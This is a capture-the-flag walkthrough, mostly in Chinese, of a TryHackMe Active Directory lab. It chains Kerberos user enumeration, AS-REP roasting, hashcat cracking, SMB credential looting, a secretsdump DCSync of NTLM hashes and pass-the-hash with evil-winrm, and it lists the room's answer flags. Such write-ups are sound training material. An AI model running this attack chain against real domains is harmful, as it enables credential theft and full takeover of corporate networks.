Attacktive Directory
99% of Corporate networks run off of AD. But can you exploit a vulnerable Domain Controller?
Deploy The Machine
链接VPN
不再赘述。
Setup
安装 Impacket
无论您使用的是 Kali 2019.3 还是 Kali 2021.1,正确安装 Impacket
都是一件麻烦事。下面的一些说明或许能帮助你正确安装!
注意:本任务中提到的所有工具都已安装在
AttackBox
上。只有在自己的虚拟机上安装时才需要这些步骤。Impacket
可能还需要您使用大于 3.7 的 python 版本。在 AttackBox 中,您可以使用 python3.9 运行您的命令。
首先,您需要将Impacket Github repo
克隆到您的设备上。以下命令将把Impacket
克隆到/opt/impacket
:
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
克隆软件源后,您会看到几个与安装相关的文件:requirements.txt 和 setup.py。安装过程中通常会跳过的文件是 setup.py,它实际上是将Impacket
安装到您的系统上,这样您就可以使用它,而不必担心任何依赖关系。
安装Impacket
的 Python 要求:
pip3 install -r /opt/impacket/requirements.txt
完成安装后,我们就可以运行 python setup 安装脚本了:
cd /opt/impacket/ && python3 ./setup.py install
之后,Impacket
就可以正确安装并投入使用了!如果仍有问题,可以试试下面的脚本,看看是否有效:
sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/
sudo pip3 install .
sudo python3 setup.py install
正确的Impacket
安装说明归功于THM Discord中的 Dragonar#0923 <3
安装 Bloodhound 和 Neo4j
Bloodhound
是我们在攻击 Attacktive Directory 时要用到的另一个工具。我们稍后会介绍该工具的具体细节,但现在,我们需要用 Apt 安装两个软件包,即bloodhound
和neo4j
。你可以用下面的命令来安装:
apt install bloodhound neo4j
现在一切就绪,你可以开始了!
故障排除
如果在安装Bloodhound
和Neo4j
时遇到问题,请尝试执行以下命令:
apt update && apt upgrade
如果您在使用Impacket
时遇到问题,请到TryHackMe Discord寻求帮助!
Welcome to Attacktive Directory
Welcome Dear User!
Thank you for doing my first room. I originally created this room for my final project in my Cyber Security degree program back in 2019. Since then, I've gone on to make several other rooms, even a Network for THM. In May 2021, I made the decision to renovate this room and make it more guided and less challenge based so there are more learning opportunities for others. I hope you enjoy it.
Love,
列举
基本的枚举从 nmap 扫描开始。Nmap 是一个相对复杂的工具,经过多年改进,可以检测设备上打开了哪些端口、运行了哪些服务,甚至可以检测运行了哪些操作系统。值得注意的是,并非所有服务都能被正确检测到,也并非所有服务都能被枚举出来。尽管 nmap 是一个过于复杂的工具,但它无法枚举所有服务。因此,在进行初始 nmap 扫描后,我们将使用其他实用程序来帮助我们枚举设备上运行的服务。
有关 nmap 的更多信息,请访问nmap room。
注意:每个用户账户的 Flag 都可以提交。您可以通过
RDP
(注:在 Window 的登录提示下,登录格式为spookysec.local\User
)和Evil-WinRM
管理员获取用户账户的 Flag。
回答下面问题
什么工具可以让我们枚举 139/445 端口?
enum4linux
过程:
└─# nmap -sC -sV -A 10.10.28.134 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 13:17 GMT Nmap scan report for 10.10.28.134 Host is up (0.29s latency). Not shown: 987 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-03 13:17:46Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2023-09-03T13:18:25+00:00; -1s from scanner time. | rdp-ntlm-info: | Target_Name: THM-AD | NetBIOS_Domain_Name: THM-AD | NetBIOS_Computer_Name: ATTACKTIVEDIREC | DNS_Domain_Name: spookysec.local | DNS_Computer_Name: AttacktiveDirectory.spookysec.local | Product_Version: 10.0.17763 |_ System_Time: 2023-09-03T13:18:16+00:00 | ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local | Not valid before: 2023-09-02T13:11:15 |_Not valid after: 2024-03-03T13:11:15 TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=9/3%OT=53%CT=1%CU=36139%PV=Y%DS=2%DC=T%G=Y%TM=64F487AB OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U) OS:SEQ(SP=FB%GCD=2%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M508NW8NNS%O2=M5 OS:08NW8NNS%O3=M508NW8%O4=M508NW8NNS%O5=M508NW8NNS%O6=M508NNS)WIN(W1=FFFF%W OS:2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M508NW OS:8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0 OS:%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4 OS:(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+% OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y% OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%R OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2023-09-03T13:18:16 |_ start_date: N/A |_clock-skew: mean: -1s, deviation: 0s, median: -1s TRACEROUTE (using port 110/tcp) HOP RTT ADDRESS 1 312.90 ms 10.11.0.1 2 312.99 ms 10.10.28.134
机器的 NetBIOS 域名是什么?
THM-AD
人们通常为其 Active Directory 域使用什么无效 TLD?(扰流器:完整的 AD 域是 spookysec.local)
.local
Enumerating Users via Kerberos
介绍
包括Kerberos
在内的大量其他服务正在运行。Kerberos
1 是 Active Directory 中的一项关键身份验证服务。打开这个端口后,我们就可以使用一个名为Kerbrute的工具(由 Ronnie Flathers @ropnop 制作)来暴力用户、密码甚至密码喷洒!
注意:有几位用户表示,最新版本的Kerbrute
不包含Kerbrute
中的UserEnum
标志!
列举
在此环节中,将使用修改后的用户列表和密码列表,以减少枚举用户和破解密码哈希值的时间。由于我们无法在域控制器上枚举账户锁定策略,因此不建议使用暴力破解凭据。
回答下列问题
Kerbrute 中的什么命令允许我们列举有效的用户名?(./kerbrute -h也许能帮助你)
userenum
发现了哪些的账户?(这些应该会让您眼前一亮)
svc-admin
过程:
└─# ./kerbrute userenum -d spookysec.local --dc 10.10.76.16 userlist.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 09/08/23 - Ronnie Flathers @ropnop 2023/09/08 01:15:49 > Using KDC(s): 2023/09/08 01:15:49 > 10.10.76.16:88 2023/09/08 01:15:50 > [+] VALID USERNAME: james@spookysec.local 2023/09/08 01:15:54 > [+] VALID USERNAME: svc-admin@spookysec.local 2023/09/08 01:15:59 > [+] VALID USERNAME: James@spookysec.local 2023/09/08 01:16:00 > [+] VALID USERNAME: robin@spookysec.local 2023/09/08 01:16:21 > [+] VALID USERNAME: darkstar@spookysec.local 2023/09/08 01:16:36 > [+] VALID USERNAME: administrator@spookysec.local 2023/09/08 01:17:00 > [+] VALID USERNAME: backup@spookysec.local 2023/09/08 01:17:12 > [+] VALID USERNAME: paradox@spookysec.local 2023/09/08 01:18:39 > [+] VALID USERNAME: JAMES@spookysec.local 2023/09/08 01:19:03 > [+] VALID USERNAME: Robin@spookysec.local 2023/09/08 01:21:34 > [+] VALID USERNAME: Administrator@spookysec.local 2023/09/08 01:26:39 > [+] VALID USERNAME: Darkstar@spookysec.local 2023/09/08 01:28:22 > [+] VALID USERNAME: Paradox@spookysec.local 2023/09/08 01:34:00 > [+] VALID USERNAME: DARKSTAR@spookysec.local 2023/09/08 01:35:32 > [+] VALID USERNAME: ori@spookysec.local
发现的其他值得注意的账户是什么?(这些应该会让您眼前一亮)
backup
Abusing Kerberos
介绍
枚举完用户账户后,我们可以尝试使用一种名为ASREPRoasting
的攻击方法来滥用Kerberos
中的一项功能。当用户账户设置了"不需要预验证 "权限时,就会发生ASReproasting
。这意味着账户在申请指定用户账户 的Kerberos
票据之前不需要提供有效的身份验证。
检索 Kerberos 票据
Impacket有一个名为GetNPUsers.py
的工具(位于 impacket/examples/GetNPUsers.py),允许我们从密钥分发中心查询ASReproastable
账户。查询账户所需的唯一条件是我们之前通过Kerbrute
枚举出的一组有效用户名。
请记住:
Impacket
可能还需要您使用大于 3.7 的 python 版本。在 AttackBox 中,您可以运行命令python3.9 /opt/impacket/examples/GetNPUsers.py
。
回答下列问题
我们有两个用户账户可以查询票单。哪个用户账户可以在没有密码的情况下查询票单?
svc-admin
查看 Hashcat Examples Wiki 页面,我们从 KDC 获取了哪种类型的 Kerberos 哈希值?(请指明全名,https://hashcat.net/wiki/doku.php?id=example_hashes和搜索第一部分将有所帮助!)
Kerberos 5, etype 23, AS-REP
哈希值是什么模式?
18200
现在用提供的修改密码列表破解哈希值,用户账户密码是多少?
management2005
过程:
└─# hashcat -m 18200 ../Desktop/hash.text passwordlist.txt hashcat (v6.2.6) starting Dictionary cache built: * Filename..: passwordlist.txt * Passwords.: 70188 * Bytes.....: 569236 * Keyspace..: 70188 * Runtime...: 0 secs [票据]:management2005 Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:e3fe8345c73...e0ccc3 Time.Started.....: Fri Sep 8 06:10:08 2023 (0 secs) Time.Estimated...: Fri Sep 8 06:10:08 2023 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (passwordlist.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 182.4 kH/s (1.01ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 8192/70188 (11.67%) Rejected.........: 0/8192 (0.00%) Restore.Point....: 4096/70188 (5.84%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: newzealand -> whitey Hardware.Mon.#1..: Util: 8%
Back to the Basics
列举
有了用户的账户凭据,我们在域内的访问权限就大大增加了。现在,我们可以尝试枚举域控制器可能提供的任何共享。
回答下列问题
我们可以使用什么实用程序来映射远程 SMB 共享?(man smbclient 会告诉你一些关于该工具的信息!)
smbclient
哪个选项会列出共享?(man smbclient 会告诉你一些关于该工具的信息!)
-l
服务器列出了多少个远程共享?
6
过程:
└─# smbclient -L spookysec.local -U svc-admin Password for [WORKGROUP\svc-admin]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backup Disk C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share
我们可以访问一个包含文本文件的特定共享。是哪个共享?
backup
文件内容是什么?(文件的编码内容)
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
过程:
└─# smbclient \\\\10.10.64.25\\backup -U svc-admin Password for [WORKGROUP\svc-admin]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Sat Apr 4 19:08:39 2020 .. D 0 Sat Apr 4 19:08:39 2020 backup_credentials.txt A 48 Sat Apr 4 19:08:53 2020 8247551 blocks of size 4096. 3588429 blocks available smb: \> get backup_credentials.txt getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
解码文件内容,完整的内容是什么?
backup@spookysec.local:backup2517860
Elevating Privileges within the Domain
Let's Sync Up!
现在我们有了新的用户账户凭据,在系统中可能拥有比以前更多的权限。"备份"账户的用户名引起了我们的思考。这是什么备份账户?
它是域控制器的备份账户。该账户有一个独特的权限,允许将所有活动目录更改与该用户账户同步。其中包括密码哈希值。
了解了这一点,我们就可以使用Impacket
中另一个名为 secretsdump.py
的工具。这将允许我们检索该用户账户(与域控制器同步)提供的所有密码哈希值。利用这一点,我们将有效地完全控制 AD 域。
回答下列问题
是什么方法让我们转储 NTDS.DIT?(阅读 secretsdump 输出!)
DRSUAPI
过程:
└─# python3 /opt/impacket/examples/secretsdump.py -dc-ip 10.10.64.25 -target-ip 10.10.64.25 backup@spookysec.local Impacket v0.12.0.dev1+20230817.32422.a769683f - Copyright 2023 Fortra Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: ...
管理员 NTLM 哈希值是多少?
0e0363213e37b94221497260b0bcb4fc
什么攻击方法可以让我们在没有密码的情况下以用户身份进行身份验证?
pass the hash
使用名为 Evil-WinRM 的工具,什么选项允许我们使用哈希值?(如果未安装 Evil-WinRM,可通过
gem install evil-winrm
命令安装)-H
Flag Submission Panel
Flags提交面板
提交每个用户账户的 Flags。它们可以位于每个用户的桌面上。如果你喜欢这个盒子,你可能也会喜欢作者的博文!
回答下列问题
svc-admin
TryHackMe{K3rb3r0s_Pr3_4uth}
backup
TryHackMe{B4ckM3UpSc0tty!}
Administrator
TryHackMe{4ctiveD1rectoryM4st3r}
过程:
└─# evil-winrm -i 10.10.64.25 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Footnotes
-
Kerberos 是一种基于票据的计算机网络身份验证协议,允许节点通过非安全网络安全地相互证明身份。它主要采用客户机-服务器模式,提供相互认证,即用户和服务器相互验证身份。Kerberos 协议信息可防止窃听和重放攻击,它以对称密钥加密技术为基础,需要一个受信任的第三方。 ↩